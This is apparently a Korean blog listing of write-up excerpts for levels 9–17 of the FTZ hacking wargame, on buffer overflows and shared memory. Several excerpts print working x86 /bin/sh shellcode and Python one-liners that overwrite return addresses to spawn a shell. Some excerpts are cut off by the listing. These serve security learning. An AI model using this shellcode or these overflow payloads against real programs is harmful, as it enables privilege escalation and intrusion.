System 43

FTZ. 17

level17 // king poetic 16번과 다르게 "/bash/sh" 가 없다. 그렇다면 환경변수를 이용해 공격해보자고 생각했다. SH의 페이로드는 다음과 같다. export SH=`python -c 'print "\x90"*100+"\x31\xc0\x31\xdb\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'` 등록한 후 주소를 알아 보았다. little endian : \x5f\xfe\xff\xbf (python -c 'print "\x90"*40+"\x5f\xfe\xff\xbf"';cat)..

System/FTZ 2019.09.06

FTZ. 16

level 16 // about to cause mass 힌트는 다음과 같다. 이번엔 함수의 주소를 이용해야 겠다고 생각이 들었다. main 디버깅 한 것을 보니 이렇게 구성이 되어있다고 생각하게 되었다. call에 shell 함수의 주소를 넣어주면 되겠다. shell함수 디버깅을 통해 함수의 주소를 찾아내었다. : 0x080484d0 이를 이용해 buf,dummy를 NOP으로 덮고 call 에 shell 함수의 주소를 넣어주는 페이로드를 작성하였다. (python -c 'print "\x90"*40+"\xd0\x84\x04\x08"';cat)|./attackme 성공!

System/FTZ 2019.09.06

FTZ. 15

level15 // guess what 포인터 변수의 값이 deadbeef가 되면 쉘을 주는 문제이다. gdb 디버깅을 통해 일단 포인터 변수에 주소를 입력해 주어주면 될것같다. 첨에 환경변수로 접근하려고 했는데 계속 실패해서 담에 더 공부하고 해보기로한다. 군침이 도는 0xdeadbeef 이 부분의 주소를 따내면 될것같다. x/10x로 비교하는 주소부분부터 10개씩 보았다. 'deadbeef' 이친구가 시작하는 주소는 0x080484b2 이라는 것을 알아내었다. 페이로드를 작성하자 (구조는 전과 같으니 생략) (python -c 'print "\x90"*40+"\xb2\x84\x04\x08"';cat)|./attackme

System/FTZ 2019.09.06

FTZ. 13

level13 // have no clue 힌트는 다음과 같다. i값이 변하면 위험하다고 검사해주는 녀석인것 같다. 자세한 분석을 위해 디버깅! i를 덮어쓰면 안된다. 환경변수를 이용! 일단 strcpy함수가 보이기에 공격을 강행해본다. 우선 환경변수먼저 등록해준다. export SH=`python -c 'print "\x90"*100+"\x31\xc0\x31\xdb\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'` 환경변수 주소를 얻었다. : 0xbffffe5b (little endian : \x5b..

System/FTZ 2019.09.06

FTZ. 12

level12 // it is like this 힌트는 다음과 같다. main 함수를 분석하면 핵심 부분이 있는데 그 부분은 gets 함수를 사용하는데있다. gets()함수는 사용자가 엔터를 치기 전까지 입력한 값들을 인자로 주어진 메모리 주소에 저장한다. 즉, 엔터를 입력하기 전까지 얼마든지 많은 값을 입력할 수 있다는 말이다. ->문자열을 입력받지만 문자열을 담을 공간의 길이와 입력받은 문자열의 길이를 확인하지 않는다. 환경변수를 이용한 공격을 해보겠습니다. SH라는 환경변수를 넣어주었다. export SH=`python -c 'print "\x90"*100+"\x31\xc0\x31\xdb\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x6..

System/FTZ 2019.09.06

FTZ. 11

level11 // what!@#$? 힌트는 다음과 같다. attackme의 c소스로 보인다. 이 파일을 /tmp에 복사해서 gdb로 디버깅을 해보았다. main 함수를 분석하면 핵심 부분이 있는데 그 부분은 strcpy 함수를 사용하는데있다. strcpy함수는 버퍼 경계 사이즈를 확인하지 않고 사용하기 때문에 버퍼 오버플로우 취약점이 발생한다. 일단 이와 같은 어셈블리로 보아 이렇게 예상해 볼 수 있었다. BOF공격에는 달고나 문서를 참고하니 3가지 공격기법이 있었다. 고전적인 방법 (shellcode가 있는 곳의 address를 추측하는방법, 노가다성이 너무 짙고 힘들어서 지금은 거의 사용 X) 환경변수를 이용하는 방법 Return into libc 기법 이중 나는 환경변수를 이용하는 방법을 택했다...

System/FTZ 2019.09.06

FTZ. 10

level10 // interesting to hack! 대화방에서 대화를 하고있는데 그 대화방은 공유메모리를 이용! key_t -> 7530 , 도청하기 한번 여러모로 시도를 해보자. 사용자 정보와 , telnet등등 여러가지를 시도해봤는데 아닌 것 같다.. 진짜 그냥 삽질 공유메모리에 대해 검색해보니 보기쉽게 정리해놓은 자료가있었다. ( https://geundi.tistory.com/52 ) 이번 문제에서는 공유메모리와 관련있는 함수를 이용하여 소스를짜서 푸는 문제이다. shmget, shmat을 이용하여 이 문제에 해답을 찾을 수 있었다. 공유메모리의 저장되어 있는 내용을 보려면 shmget 함수를 이용해 대화방의 키값을 넣어 공유메모리 식별자를 반환받고 반환 받은 공유메모리 식별자를 이용해 sh..

System/FTZ 2019.09.06

FTZ. 9

level9 // apple bof (buffer overflow)문제이다. 저 조건에 충족하게 입력값을 쌓아주면 된다. 메모리 구조상 buf2, buf 순으로 변수가 쌓이게 된다. 하지만 입력은 buf만 받는다..? 일단 구조는 이렇다. 음 구조상 A*10 , go 해줘서 buf2에 씌워줬는데 안된닷 (별에별 시도를 했지만 안됨) gdb로 분석하려고 했는데.. ㅠㅠㅠ 슬프군 하지만 그렇다면 다른 방법을 ! 소스코드 복사해서 /tmp에 만들고 컴파일후 분석하기로했다. 난 인텔 문법이 좋으니까 설정한후 까보았다. 핵심은 뭐다? 필요한것만 빠르게 후후훅 보는거다. 보니 sub esp, 0x28을 통해 40바이트 만큼 확보를 해준다. 그뒤로 쭉쭉 보니 buf2와 buf를 할당해 주는게 보이는데 lea eax,..

System/FTZ 2019.09.06